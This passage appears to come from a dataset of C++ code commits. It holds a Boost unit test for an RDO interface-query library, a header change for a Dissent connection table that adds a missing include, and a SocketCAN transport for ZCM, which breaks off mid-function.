2011\r\n * filename : main.cpp\r\n * author : , Evgeny Proydakov\r\n * date : 07.07.2009\r\n * bref : \r\n * indent : 4T\r\n *\/\r\n \r\n\/\/ ====================================================================== PCH\r\n\/\/ ====================================================================== INCLUDES\r\n#include <vector>\r\n#include <list>\r\n#include <iostream>\r\n#define BOOST_TEST_MODULE RdoInterfaceTest\r\n#include <boost\/test\/included\/unit_test.hpp>\r\n\/\/ ====================================================================== SYNOPSIS\r\n#include \"rdo_common\/rdointerface.h\"\r\n\/\/ ===============================================================================\r\n\r\n#define DISABLE_CONSOLE_OUTPUT\r\n\r\nconst tstring strIMy1 = _T(\"void fun1(): \");\r\nconst tstring strIMy2 = _T(\"void fun2(): \");\r\nconst tstring strIMy3 = _T(\"void fun3(): \");\r\nconst tstring strMyClass1Create = _T(\"MyClass1():\" );\r\nconst tstring strMyClass1Destroy = _T(\"~MyClass1():\" );\r\nconst tstring strMyClass2Create = _T(\"MyClass2():\" );\r\nconst tstring strMyClass2Destroy = _T(\"~MyClass2():\" );\r\nconst tstring strMyClass3Create = _T(\"MyClass3():\" );\r\nconst tstring strMyClass3Destroy = _T(\"~MyClass3():\" );\r\n\r\ntypedef std::list<tstring> LogList;\r\nLogList s_logList;\r\n\r\nclass IMy1\r\n{\r\npublic:\r\n\tvirtual tstring fun1() = 0;\r\n};\r\n\r\nclass IMy2\r\n{\r\npublic:\r\n\tvirtual tstring fun2() = 0;\r\n};\r\n\r\nclass IMy3\r\n{\r\npublic:\r\n\tvirtual tstring fun3() = 0;\r\n};\r\n\r\nclass IMy4\r\n{\r\npublic:\r\n\tvirtual tstring fun4() = 0;\r\n};\r\n\r\nINTERFACE_REGISTRATOR(IMy1, 1);\r\nINTERFACE_REGISTRATOR(IMy2, 2);\r\nINTERFACE_REGISTRATOR(IMy3, 3);\r\nINTERFACE_REGISTRATOR(IMy4, 4);\r\n\r\nclass MyClass1: public rdo::IGetUnknown, public IMy1, public IMy2, public IInit\r\n{\r\nQUERY_INTERFACE_BEGIN\r\n\tQUERY_INTERFACE(IMy1)\r\n\tQUERY_INTERFACE(IMy2)\r\n\tQUERY_INTERFACE(IInit)\r\nQUERY_INTERFACE_END\r\n\r\nprotected:\r\n\tMyClass1(char i)\r\n\t\t: m_i(i)\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass1Create << i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass1Create + i);\r\n\t}\r\n\t~MyClass1()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass1Destroy << m_i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass1Destroy);\r\n\t}\r\n\trbool init()\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\r\nprotected:\r\n\tchar m_i;\r\n\r\nprivate:\r\n\ttstring fun1()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strIMy1 << m_i << std::endl;\r\n#endif\r\n\t\treturn strIMy1 + m_i;\r\n\t}\r\n\ttstring fun2()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strIMy2 << m_i << std::endl;\r\n#endif\r\n\t\treturn strIMy2 + m_i;\r\n\t}\r\n};\r\n\r\nclass MyClass2: public MyClass1, public IMy3\r\n{\r\nDEFINE_IFACTORY(MyClass2);\r\nQUERY_INTERFACE_BEGIN\r\n\tQUERY_INTERFACE_PARENT(MyClass1)\r\n\tQUERY_INTERFACE(IMy3)\r\nQUERY_INTERFACE_END\r\n\r\nprivate:\r\n\tMyClass2(char i)\r\n\t\t: MyClass1(i)\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass2Create << i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass2Create + i);\r\n\t}\r\n\t~MyClass2()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass2Destroy << m_i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass2Destroy);\r\n\t}\r\n\ttstring fun3()\r\n\t{\r\n\t\tASSERT(this);\r\n\t\tLPIMy1 int1 = this;\r\n\t\tASSERT(int1)\r\n\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strIMy3 << m_i << std::endl;\r\n#endif\r\n\t\treturn strIMy3 + m_i;\r\n\t}\r\n};\r\n\r\nclass MyClass3: public IMy3, public rdo::IGetUnknown\r\n{\r\nDEFINE_IFACTORY(MyClass3);\r\nQUERY_INTERFACE_BEGIN\r\n\tQUERY_INTERFACE(IMy3)\r\nQUERY_INTERFACE_END\r\n\r\nprotected:\r\n\tMyClass3(char i)\r\n\t\t: m_i(i)\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass3Create << i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass3Create + i);\r\n\t}\r\n\t~MyClass3()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass3Destroy << m_i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass3Destroy);\r\n\t}\r\n\r\nprotected:\r\n\tchar m_i;\r\n\r\nprivate:\r\n\ttstring fun3()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strIMy3 << m_i << std::endl;\r\n#endif\r\n\t\treturn strIMy3 + m_i;\r\n\t}\r\n};\r\n\r\ntypedef rdo::Interface<IMy3> MyInterface;\r\ntypedef std::vector<MyInterface> MyInterfaceList;\r\n\r\nBOOST_AUTO_TEST_SUITE(RdoInterfaceTest)\r\n\r\nBOOST_AUTO_TEST_CASE(RdoInterfaceTest_CheckingOnTheSameOperator)\r\n{\r\n\tchar initValue = _T('1');\r\n\trdo::UnknownPointer smptr = F(MyClass2)::create(initValue);\r\n\tBOOST_REQUIRE(smptr);\r\n\r\n\tLogList::iterator it = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Create + initValue);\r\n\tBOOST_CHECK_EQUAL(*(++it), strMyClass2Create + initValue);\r\n\ts_logList.clear();\r\n\r\n\tBOOST_CHECK_EQUAL(smptr.query_cast<IMy1>()->fun1(), strIMy1 + initValue);\r\n\tBOOST_CHECK_EQUAL(smptr.query_cast<IMy3>()->fun3(), strIMy3 + initValue);\r\n\r\n\tinitValue = _T('2');\r\n\tMyInterface imy3 = smptr;\r\n\trdo::UnknownPointer smptr2;\r\n\tsmptr2 = F(MyClass2)::create(initValue);\r\n\tit = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Create + initValue);\r\n\tBOOST_CHECK_EQUAL(*(++it), strMyClass2Create + initValue);\r\n\ts_logList.clear();\r\n\r\n\trdo::UnknownPointer smptr2_2 = smptr2;\r\n\t\/\/BOOST_CHECK(smptr2_2 == smptr);\r\n\t\/\/BOOST_CHECK_EQUAL(smptr2_2, smptr);\r\n\tBOOST_CHECK(smptr2_2 == smptr2);\r\n\r\n\trdo::Interface<IMy1> int1_1 = smptr;\r\n\trdo::Interface<IMy1> int2_1 = smptr2;\r\n\trdo::Interface<IMy1> int1_2 = smptr;\r\n\t\/\/BOOST_CHECK(int1_1 == int2_1);\r\n\t\/\/BOOST_CHECK_EQUAL(int1_1, int2_1);\r\n\tBOOST_CHECK(int1_1 == int1_2);\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(RdoInterfaceTest_ValidationFailureInThePreviousTest1)\r\n{\r\n\tLogList::iterator it = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass2Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass2Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Destroy);\r\n\ts_logList.clear();\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(RdoInterfaceTest_Working)\r\n{\r\n\tchar initFValue = _T('2');\r\n\trdo::UnknownPointer smptr = F(MyClass2)::create(initFValue);\r\n\tLogList::iterator iter = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*iter, strMyClass1Create + initFValue);\r\n\tBOOST_CHECK_EQUAL(*(++iter), strMyClass2Create + initFValue);\r\n\ts_logList.clear();\r\n\r\n\tchar initSValue = _T('5');\r\n\trdo::UnknownPointer smptr2 = F(MyClass2)::create(initSValue);\r\n\titer = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*iter, strMyClass1Create + initSValue);\r\n\tBOOST_CHECK_EQUAL(*(++iter), strMyClass2Create + initSValue);\r\n\ts_logList.clear();\r\n\r\n\tMyInterfaceList myInterfaceList;\r\n\r\n\tchar initTValue = _T('9');\r\n\tmyInterfaceList.push_back(F(MyClass3)::create(initTValue));\r\n\tmyInterfaceList.push_back(smptr );\r\n\tmyInterfaceList.push_back(smptr2);\r\n\t\r\n\tchar symbolT = _T('0');\r\n\r\n\tSTL_FOR_ALL_CONST(myInterfaceList, it)\r\n\t{\r\n\t\trdo::Interface<IMy1> ptr1;\r\n\t\tptr1 = *it;\r\n\t\tif (ptr1)\r\n\t\t{\r\n\t\t\tsymbolT = (*it == smptr ? initFValue : (*it == smptr2 ? initSValue : initTValue));\r\n\t\t\tBOOST_CHECK_EQUAL(ptr1->fun1(), strIMy1 + symbolT);\r\n\t\t}\r\n\r\n\t\trdo::Interface<IMy2> ptr2 = *it;\r\n\t\tif (ptr2)\r\n\t\t{\r\n\t\t\tsymbolT = (*it == smptr ? initFValue : (*it == smptr2 ? initSValue : initTValue));\r\n\t\t\tBOOST_CHECK_EQUAL(ptr2->fun2(), strIMy2 + symbolT);\r\n\t\t}\r\n\r\n\t\trdo::Interface<IMy3> ptr3 = *it;\r\n\t\tif (ptr3)\r\n\t\t{\r\n\t\t\tsymbolT = (*it == smptr ? initFValue : (*it == smptr2 ? initSValue : initTValue));\r\n\t\t\tBOOST_CHECK_EQUAL(ptr3->fun3(), strIMy3 + symbolT);\r\n\t\t}\r\n\t}\r\n\ts_logList.clear();\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(RdoInterfaceTest_ValidationFailureInThePreviousTest2)\r\n{\r\n\tLogList::iterator it = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass3Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass2Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass2Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Destroy);\r\n\ts_logList.clear();\r\n}\r\n\r\nBOOST_AUTO_TEST_SUITE_END()\r\n<|endoftext|>"} {"text":"<commit_before>#ifndef DISSENT_CONNECTIONS_CONNECTION_TABLE_H_GUARD\n#define DISSENT_CONNECTIONS_CONNECTION_TABLE_H_GUARD\n\n#include <QDebug>\n#include <QHash>\n\n#include \"Id.hpp\"\n\nnamespace Dissent {\nnamespace Transports {\n class Edge;\n}\n\nnamespace Connections {\n class Connection;\n\n \/**\n * Contains mappings for remote peers\n *\/\n class ConnectionTable {\n public:\n typedef Dissent::Transports::Edge Edge;\n\n \/**\n * Constructor\n * @param local_id so we have a \"connection\" to ourself\n *\/\n explicit ConnectionTable(const Id &local_id = Id::Zero());\n\n \/**\n * Deconstructor\n *\/\n ~ConnectionTable();\n\n \/**\n * Add an edge\n * @param edge the edge to add\n *\/\n void AddEdge(QSharedPointer<Edge> edge);\n\n \/**\n * Add an edge\n * @param edge the edge to add\n *\/\n void AddEdge(Edge *edge);\n\n \/**\n * Remove an edge, returns true if it is stored\n * @param edge the edge to remvoe\n *\/\n bool RemoveEdge(const Edge *edge);\n\n \/**\n * Remove an edge, returns true if it is stored\n * @param edge the edge to remvoe\n *\/\n bool RemoveEdge(QSharedPointer<Edge> edge);\n\n inline bool Contains(const Connection *con) { return _cons.contains(con); }\n\n \/**\n * Remove a connection from being looked up by Id or Edge, returns\n * true if exists. Should be called after calling disconnect but\n * before an edge is closed.\n * @param con the connection to remove\n *\/\n bool Disconnect(Connection *con);\n\n \/**\n * Returns the connection matching to the Id or 0 if none exists\n * @param id the Id to lookup\n *\/\n Connection *GetConnection(const Id &id) const;\n\n \/**\n * Returns the connection matching to the Id or 0 if none exists\n * @param id the Id to lookup\n *\/\n Connection *GetConnection(QSharedPointer<Edge> edge) const;\n\n \/**\n * Returns a the connection matching to the edge or 0 if none exists\n * @param edge the edge to lookup\n *\/\n Connection *GetConnection(const Edge *edge) const;\n\n inline const QList<Connection *> GetConnections() const { return _cons.values(); }\n\n inline QSharedPointer<Edge> GetEdge(const Edge * edge) const { return _edges[edge]; }\n inline const QList<QSharedPointer<Edge> > GetEdges() const { return _edges.values(); }\n\n \/**\n * Adds a Connection\n * @param con the connection to add\n *\/\n void AddConnection(Connection *con);\n\n \/**\n * Removes the connection from being stored, returns true if exists.\n * Should only be called after the edge has been closed.\n * @param con the stored connection\n *\/\n bool RemoveConnection(Connection *con);\n\n \/**\n * Print connection table to debug output\n *\/\n void PrintConnectionTable();\n\n private:\n \/**\n * Stores Id to Connection mappings\n *\/\n QHash<const Id, Connection *> _id_to_con;\n\n \/**\n * Stores Edge to Connection mappings\n *\/\n QHash<const Edge *, Connection *> _edge_to_con;\n\n \/**\n * Stores Connections\n *\/\n QHash<const Connection *, Connection *> _cons;\n\n \/**\n * Stores Edges\n *\/\n QHash<const Edge *, QSharedPointer<Edge> > _edges;\n };\n}\n}\n\n#endif\n<commit_msg>[Connections] Missed an include<commit_after>#ifndef DISSENT_CONNECTIONS_CONNECTION_TABLE_H_GUARD\n#define DISSENT_CONNECTIONS_CONNECTION_TABLE_H_GUARD\n\n#include <QDebug>\n#include <QHash>\n#include <QSharedPointer>\n\n#include \"Id.hpp\"\n\nnamespace Dissent {\nnamespace Transports {\n class Edge;\n}\n\nnamespace Connections {\n class Connection;\n\n \/**\n * Contains mappings for remote peers\n *\/\n class ConnectionTable {\n public:\n typedef Dissent::Transports::Edge Edge;\n\n \/**\n * Constructor\n * @param local_id so we have a \"connection\" to ourself\n *\/\n explicit ConnectionTable(const Id &local_id = Id::Zero());\n\n \/**\n * Deconstructor\n *\/\n ~ConnectionTable();\n\n \/**\n * Add an edge\n * @param edge the edge to add\n *\/\n void AddEdge(QSharedPointer<Edge> edge);\n\n \/**\n * Add an edge\n * @param edge the edge to add\n *\/\n void AddEdge(Edge *edge);\n\n \/**\n * Remove an edge, returns true if it is stored\n * @param edge the edge to remvoe\n *\/\n bool RemoveEdge(const Edge *edge);\n\n \/**\n * Remove an edge, returns true if it is stored\n * @param edge the edge to remvoe\n *\/\n bool RemoveEdge(QSharedPointer<Edge> edge);\n\n inline bool Contains(const Connection *con) { return _cons.contains(con); }\n\n \/**\n * Remove a connection from being looked up by Id or Edge, returns\n * true if exists. Should be called after calling disconnect but\n * before an edge is closed.\n * @param con the connection to remove\n *\/\n bool Disconnect(Connection *con);\n\n \/**\n * Returns the connection matching to the Id or 0 if none exists\n * @param id the Id to lookup\n *\/\n Connection *GetConnection(const Id &id) const;\n\n \/**\n * Returns the connection matching to the Id or 0 if none exists\n * @param id the Id to lookup\n *\/\n Connection *GetConnection(QSharedPointer<Edge> edge) const;\n\n \/**\n * Returns a the connection matching to the edge or 0 if none exists\n * @param edge the edge to lookup\n *\/\n Connection *GetConnection(const Edge *edge) const;\n\n inline const QList<Connection *> GetConnections() const { return _cons.values(); }\n\n inline QSharedPointer<Edge> GetEdge(const Edge * edge) const { return _edges[edge]; }\n inline const QList<QSharedPointer<Edge> > GetEdges() const { return _edges.values(); }\n\n \/**\n * Adds a Connection\n * @param con the connection to add\n *\/\n void AddConnection(Connection *con);\n\n \/**\n * Removes the connection from being stored, returns true if exists.\n * Should only be called after the edge has been closed.\n * @param con the stored connection\n *\/\n bool RemoveConnection(Connection *con);\n\n \/**\n * Print connection table to debug output\n *\/\n void PrintConnectionTable();\n\n private:\n \/**\n * Stores Id to Connection mappings\n *\/\n QHash<const Id, Connection *> _id_to_con;\n\n \/**\n * Stores Edge to Connection mappings\n *\/\n QHash<const Edge *, Connection *> _edge_to_con;\n\n \/**\n * Stores Connections\n *\/\n QHash<const Connection *, Connection *> _cons;\n\n \/**\n * Stores Edges\n *\/\n QHash<const Edge *, QSharedPointer<Edge> > _edges;\n };\n}\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"zcm\/transport.h\"\n#include \"zcm\/transport_registrar.h\"\n#include \"zcm\/transport_register.hpp\"\n#include \"zcm\/util\/debug.h\"\n\n#include \"generic_serial_transport.h\"\n\n#include \"util\/TimeUtil.hpp\"\n\n#include <unistd.h>\n#include <string.h>\n#include <iostream>\n#include <limits>\n#include <cstdio>\n#include <cassert>\n#include <unordered_map>\n#include <algorithm>\n\n#include <net\/if.h>\n#include <sys\/ioctl.h>\n#include <sys\/socket.h>\n#include <linux\/sockios.h>\n\n#include <linux\/can.h>\n#include <linux\/can\/raw.h>\n\n\/\/ Define this the class name you want\n#define ZCM_TRANS_CLASSNAME TransportCan\n#define MTU (1<<14)\n\nusing namespace std;\n\nstruct ZCM_TRANS_CLASSNAME : public zcm_trans_t\n{\n unordered_map<string, string> options;\n uint msgId;\n string address;\n\n int soc = -1;\n bool socSettingsGood = false;\n struct sockaddr_can addr;\n\tstruct ifreq ifr;\n\n zcm_trans_t* gst = nullptr;\n\n string* findOption(const string& s)\n {\n auto it = options.find(s);\n if (it == options.end()) return nullptr;\n return &it->second;\n }\n\n ZCM_TRANS_CLASSNAME(zcm_url_t* url)\n {\n trans_type = ZCM_BLOCKING;\n vtbl = &methods;\n\n \/\/ build 'options'\n auto* opts = zcm_url_opts(url);\n for (size_t i = 0; i < opts->numopts; ++i)\n options[opts->name[i]] = opts->value[i];\n\n msgId = 0;\n auto* msgIdStr = findOption(\"msgid\");\n if (!msgIdStr) {\n ZCM_DEBUG(\"Msg Id unspecified\");\n return;\n } else {\n char *endptr;\n msgId = strtoul(msgIdStr->c_str(), &endptr, 10);\n if (*endptr != '\\0') {\n ZCM_DEBUG(\"Msg Id unspecified\");\n return;\n }\n }\n\n address = zcm_url_address(url);\n\n if ((soc = socket(PF_CAN, SOCK_RAW, CAN_RAW)) < 0) {\n ZCM_DEBUG(\"Unable to make socket\");\n\t\t return;\n\t }\n\n strcpy(ifr.ifr_name, address.c_str());\n ioctl(soc, SIOCGIFINDEX, &ifr);\n\n memset(&addr, 0, sizeof(addr));\n addr.can_family = AF_CAN;\n addr.can_ifindex = ifr.ifr_ifindex;\n\n if (bind(soc, (struct sockaddr *)&addr, sizeof(addr)) < 0) {\n ZCM_DEBUG(\"Failed to bind\");\n return;\n }\n\n struct can_filter rfilter[1];\n\n rfilter[0].can_id = msgId | CAN_EFF_FLAG;\n rfilter[0].can_mask = (CAN_EFF_FLAG | CAN_RTR_FLAG | CAN_EFF_MASK);\n\n if (setsockopt(soc, SOL_CAN_RAW, CAN_RAW_FILTER, &rfilter, sizeof(rfilter)) < 0) {\n ZCM_DEBUG(\"Failed to set filter\");\n return;\n }\n\n gst = zcm_trans_generic_serial_create(&ZCM_TRANS_CLASSNAME::get,\n &ZCM_TRANS_CLASSNAME::put,\n this,\n &ZCM_TRANS_CLASSNAME::timestamp_now,\n this,\n MTU, MTU * 10);\n socSettingsGood = true;\n }\n\n ~ZCM_TRANS_CLASSNAME()\n {\n if (gst) zcm_trans_generic_serial_destroy(gst);\n if (soc != -1 && close(soc) < 0) {\n ZCM_DEBUG(\"Failed to close\");\n\t }\n soc = -1;\n }\n\n bool good()\n {\n return soc != -1 && socSettingsGood;\n }\n\n static size_t get(uint8_t* data, size_t nData, void* usr)\n {\n ZCM_TRANS_CLASSNAME* me = cast((zcm_trans_t*) usr);\n\n struct can_frame frame;\n int nbytes = read(me->soc, &frame, sizeof(struct can_frame));\n if (nbytes != sizeof(struct can_frame)) return 0;\n\n \/\/ XXX This isn't okay. We're just throwing out data if it\n \/\/ doesn't fit in data on this one call to get\n size_t ret = min(nData, (size_t) frame.can_dlc);\n memcpy(data, frame.data, ret);\n return ret;\n }\n\n static size_t sendFrame(const uint8_t* data, size_t nData, void* usr)\n {\n ZCM_TRANS_CLASSNAME* me = cast((zcm_trans_t*) usr);\n\n struct can_frame frame;\n frame.can_id = me->msgId | CAN_EFF_FLAG;\n\n size_t ret = min(nData, (size_t) 8);\n frame.can_dlc = ret;\n memcpy(frame.data, data, ret);\n\n if (write(me->soc, &frame, sizeof(struct can_frame)) != sizeof(struct can_frame)) {\n ZCM_DEBUG(\"Failed to write data\");\n return -1;\n }\n\n return ret;\n }\n\n static size_t put(const uint8_t* data, size_t nData, void* usr)\n {\n size_t ret = 0;\n while (ret < nData) {\n size_t left = nData - ret;\n size_t written = sendFrame(&data[ret], left, usr);\n if (written <= 0) return ret;\n ret += written;\n }\n return ret;\n }\n\n static uint64_t timestamp_now(void* usr)\n {\n ZCM_TRANS_CLASSNAME* me = cast((zcm_trans_t*) usr);\n\n struct timeval time;\n if (ioctl(me->soc, SIOCGSTAMP, &time) == -1) return 0;\n return time.tv_sec * 1e6 + time.tv_usec;\n }\n\n \/********************** METHODS **********************\/\n size_t get_mtu()\n {\n return zcm_trans_get_mtu(this->gst);\n }\n\n int sendmsg(zcm_msg_t msg)\n {\n int ret = zcm_trans_sendmsg(this->gst, msg);\n if (ret != ZCM_EOK) return ret;\n return serial_update_tx(this->gst);\n }\n\n int recvmsgEnable(const char* channel, bool enable)\n {\n return zcm_trans_recvmsg_enable(this->gst, channel, enable);\n }\n\n int recvmsg(zcm_msg_t* msg, int timeoutMs)\n {\n int timeoutS = timeoutMs \/ 1000;\n struct timeval tm = {\n timeoutS, \/* seconds *\/\n (timeoutMs - (timeoutS * 1000)) * 1000 \/* micros *\/\n };\n if (setsockopt(soc, SOL_SOCKET, SO_RCVTIMEO, (char *)&tm, sizeof(tm)) < 0) {\n ZCM_DEBUG(\"Failed to settimeout\");\n return ZCM_EUNKNOWN;\n }\n\n uint64_t startUtime = TimeUtil::utime();\n uint64_t timeoutUs = timeoutMs > 0 ? timeoutMs * 1e3 : numeric_limits<uint64_t>::max();\n uint64_t timeoutLeft = timeoutUs;\n\n do {\n int ret = zcm_trans_recvmsg(this->gst, msg, timeoutLeft);\n if (ret == ZCM_EOK) return ret;\n serial_update_rx(this->gst);\n\n uint64_t diff = TimeUtil::utime() - startUtime;\n timeoutLeft = timeoutUs > diff ? timeoutUs - diff : 0;\n } while (timeoutLeft > 0);\n return ZCM_EAGAIN;\n }\n\n \/********************** STATICS **********************\/\n static zcm_trans_methods_t methods;\n static ZCM_TRANS_CLASSNAME *cast(zcm_trans_t *zt)\n {\n assert(zt->vtbl == &methods);\n return (ZCM_TRANS_CLASSNAME*)zt;\n }\n\n static size_t _get_mtu(zcm_trans_t *zt)\n { return cast(zt)->get_mtu(); }\n\n static int _sendmsg(zcm_trans_t *zt, zcm_msg_t msg)\n { return cast(zt)->sendmsg(msg); }\n\n static int _recvmsg_enable(zcm_trans_t *zt, const char *channel, bool enable)\n { return cast(zt)->recvmsgEnable(channel, enable); }\n\n static int _recvmsg(zcm_trans_t *zt, zcm_msg_t *msg, int timeout)\n { return cast(zt)->recvmsg(msg, timeout); }\n\n static void _destroy(zcm_trans_t *zt)\n { delete cast(zt); }\n\n \/** If you choose to use the registrar, use a static registration member **\/\n static const TransportRegister reg;\n};\n\nzcm_trans_methods_t ZCM_TRANS_CLASSNAME::methods = {\n &ZCM_TRANS_CLASSNAME::_get_mtu,\n &ZCM_TRANS_CLASSNAME::_sendmsg,\n &ZCM_TRANS_CLASSNAME::_recvmsg_enable,\n &ZCM_TRANS_CLASSNAME::_recvmsg,\n NULL,\n &ZCM_TRANS_CLASSNAME::_destroy,\n};\n\nstatic zcm_trans_t *create(zcm_url_t* url)\n{\n auto* trans = new ZCM_TRANS_CLASSNAME(url);\n if (trans->good())\n return trans;\n\n delete trans;\n return nullptr;\n}\n\n#ifdef USING_TRANS_SERIAL\nconst TransportRegister ZCM_TRANS_CLASSNAME::reg(\n \"can\", \"Transfer data via a socket CAN connection on a single id \"\n \"(e.g. 'can:\/\/can0?msgid=65536')\", create);\n#endif\n<commit_msg>Minor<commit_after>#include \"zcm\/transport.h\"\n#include \"zcm\/transport_registrar.h\"\n#include \"zcm\/transport_register.hpp\"\n#include \"zcm\/util\/debug.h\"\n\n#include \"generic_serial_transport.h\"\n\n#include \"util\/TimeUtil.hpp\"\n\n#include <unistd.h>\n#include <string.h>\n#include <iostream>\n#include <limits>\n#include <cstdio>\n#include <cassert>\n#include <unordered_map>\n#include <algorithm>\n\n#include <net\/if.h>\n#include <sys\/ioctl.h>\n#include <sys\/socket.h>\n#include <linux\/sockios.h>\n\n#include <linux\/can.h>\n#include <linux\/can\/raw.h>\n\n\/\/ Define this the class name you want\n#define ZCM_TRANS_CLASSNAME TransportCan\n#define MTU (1<<14)\n\nusing namespace std;\n\nstruct ZCM_TRANS_CLASSNAME : public zcm_trans_t\n{\n unordered_map<string, string> options;\n uint msgId;\n string address;\n\n int soc = -1;\n bool socSettingsGood = false;\n struct sockaddr_can addr;\n\tstruct ifreq ifr;\n\n zcm_trans_t* gst = nullptr;\n\n string* findOption(const string& s)\n {\n auto it = options.find(s);\n if (it == options.end()) return nullptr;\n return &it->second;\n }\n\n ZCM_TRANS_CLASSNAME(zcm_url_t* url)\n {\n trans_type = ZCM_BLOCKING;\n vtbl = &methods;\n\n \/\/ build 'options'\n auto* opts = zcm_url_opts(url);\n for (size_t i = 0; i < opts->numopts; ++i)\n options[opts->name[i]] = opts->value[i];\n\n msgId = 0;\n auto* msgIdStr = findOption(\"msgid\");\n if (!msgIdStr) {\n ZCM_DEBUG(\"Msg Id unspecified\");\n return;\n } else {\n char *endptr;\n msgId = strtoul(msgIdStr->c_str(), &endptr, 10);\n if (*endptr != '\\0') {\n ZCM_DEBUG(\"Msg Id unspecified\");\n return;\n }\n }\n\n address = zcm_url_address(url);\n\n if ((soc = socket(PF_CAN, SOCK_RAW, CAN_RAW)) < 0) {\n ZCM_DEBUG(\"Unable to make socket\");\n\t\t return;\n\t }\n\n strcpy(ifr.ifr_name, address.c_str());\n ioctl(soc, SIOCGIFINDEX, &ifr);\n\n memset(&addr, 0, sizeof(addr));\n addr.can_family = AF_CAN;\n addr.can_ifindex = ifr.ifr_ifindex;\n\n if (bind(soc, (struct sockaddr *)&addr, sizeof(addr)) < 0) {\n ZCM_DEBUG(\"Failed to bind\");\n return;\n }\n\n struct can_filter rfilter[1];\n\n rfilter[0].can_id = msgId | CAN_EFF_FLAG;\n rfilter[0].can_mask = (CAN_EFF_FLAG | CAN_RTR_FLAG | CAN_EFF_MASK);\n\n if (setsockopt(soc, SOL_CAN_RAW, CAN_RAW_FILTER, &rfilter, sizeof(rfilter)) < 0) {\n ZCM_DEBUG(\"Failed to set filter\");\n return;\n }\n\n gst = zcm_trans_generic_serial_create(&ZCM_TRANS_CLASSNAME::get,\n &ZCM_TRANS_CLASSNAME::put,\n this,\n &ZCM_TRANS_CLASSNAME::timestamp_now,\n this,\n MTU, MTU * 10);\n socSettingsGood = true;\n }\n\n ~ZCM_TRANS_CLASSNAME()\n {\n if (gst) zcm_trans_generic_serial_destroy(gst);\n if (soc != -1 && close(soc) < 0) {\n ZCM_DEBUG(\"Failed to close\");\n\t }\n soc = -1;\n }\n\n bool good()\n {\n return soc != -1 && socSettingsGood;\n }\n\n static size_t get(uint8_t* data, size_t nData, void* usr)\n {\n ZCM_TRANS_CLASSNAME* me = cast((zcm_trans_t*) usr);\n\n struct can_frame frame;\n int nbytes = read(me->soc, &frame, sizeof(struct can_frame));\n if (nbytes != sizeof(struct can_frame)) return 0;\n\n \/\/ XXX This isn't okay. We're just throwing out data if it\n \/\/ doesn't fit in data on this one call to get\n size_t ret = min(nData, (size_t) frame.can_dlc);\n memcpy(data, frame.data, ret);\n return ret;\n }\n\n static size_t sendFrame(const uint8_t* data, size_t nData, void* usr)\n {\n ZCM_TRANS_CLASSNAME* me = cast((zcm_trans_t*) usr);\n\n struct can_frame frame;\n frame.can_id = me->msgId | CAN_EFF_FLAG;\n\n size_t ret = min(nData, (size_t) 8);\n frame.can_dlc = ret;\n memcpy(frame.data, data, ret);\n\n if (write(me->soc, &frame, sizeof(struct can_frame)) != sizeof(struct can_frame)) {\n ZCM_DEBUG(\"Failed to write data\");\n return -1;\n }\n\n return ret;\n }\n\n static size_t put(const uint8_t* data, size_t nData, void* usr)\n {\n size_t ret = 0;\n while (ret < nData) {\n size_t left = nData - ret;\n size_t written = sendFrame(&data[ret], left, usr);\n if (written <= 0) return ret;\n ret += written;\n }\n return ret;\n }\n\n static uint64_t timestamp_now(void* usr)\n {\n ZCM_TRANS_CLASSNAME* me = cast((zcm_trans_t*) usr);\n\n struct timeval time;\n if (ioctl(me->soc, SIOCGSTAMP, &time) == -1) return 0;\n return time.tv_sec * 1e6 + time.tv_usec;\n }\n\n \/********************** METHODS **********************\/\n size_t get_mtu()\n {\n return zcm_trans_get_mtu(this->gst);\n }\n\n int sendmsg(zcm_msg_t msg)\n {\n int ret = zcm_trans_sendmsg(this->gst, msg);\n if (ret != ZCM_EOK) return ret;\n return serial_update_tx(this->gst);\n }\n\n int recvmsgEnable(const char* channel, bool enable)\n {\n return zcm_trans_recvmsg_enable(this->gst, channel, enable);\n }\n\n int recvmsg(zcm_msg_t* msg, int timeoutMs)\n {\n int 